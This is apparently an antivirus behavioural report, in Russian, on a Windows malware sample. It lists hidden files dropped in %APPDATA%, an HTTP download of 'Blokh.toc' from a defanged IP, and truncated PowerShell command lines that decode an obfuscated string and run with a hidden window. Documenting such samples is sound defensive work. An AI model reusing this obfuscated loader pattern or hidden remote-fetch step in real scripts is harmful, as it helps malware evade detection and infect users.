Техническая информация
Изменения в файловой системе
Создает следующие файлы
- %APPDATA%\bit531e.tmp
- %APPDATA%\bit7262.tmp
Присваивает атрибут 'скрытый' для следующих файлов
- %APPDATA%\bit531e.tmp
- %APPDATA%\bit7262.tmp
Перемещает следующие файлы
- %APPDATA%\bit531e.tmp в %APPDATA%\dele.sly
- %APPDATA%\bit7262.tmp в %APPDATA%\dele.sly
Сетевая активность
Подключается к
- '10#.#76.111.163':80
TCP
Запросы HTTP GET
- http://10#.#76.111.163/Blokh.toc
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' "function muslinette9 ([String]$Burghe){For($Sepstrupb=4; $Sepstrupb -lt $Burghe.Length-1; $Sepstrupb+=5){$Shrav190=$Shrav190+$Burghe.Substring($Sepstrupb, 1)};$Shrav190;}$Affedt=muslinette9 'P...' (со скрытым окном)
Запускает на исполнение
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' "function muslinette9 ([String]$Burghe){For($Sepstrupb=4; $Sepstrupb -lt $Burghe.Length-1; $Sepstrupb+=5){$Shrav190=$Shrav190+$Burghe.Substring($Sepstrupb, 1)};$Shrav190;}$Affedt=muslinette9 'P...
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' "function muslinette9 ([String]$Burghe){For($Sepstrupb=4; $Sepstrupb -lt $Burghe.Length-1; $Sepstrupb+=5){$Shrav190=$Shrav190+$Burghe.Substring($Sepstrupb, 1)};$Shrav190;}$Affedt=muslinette9 'P...
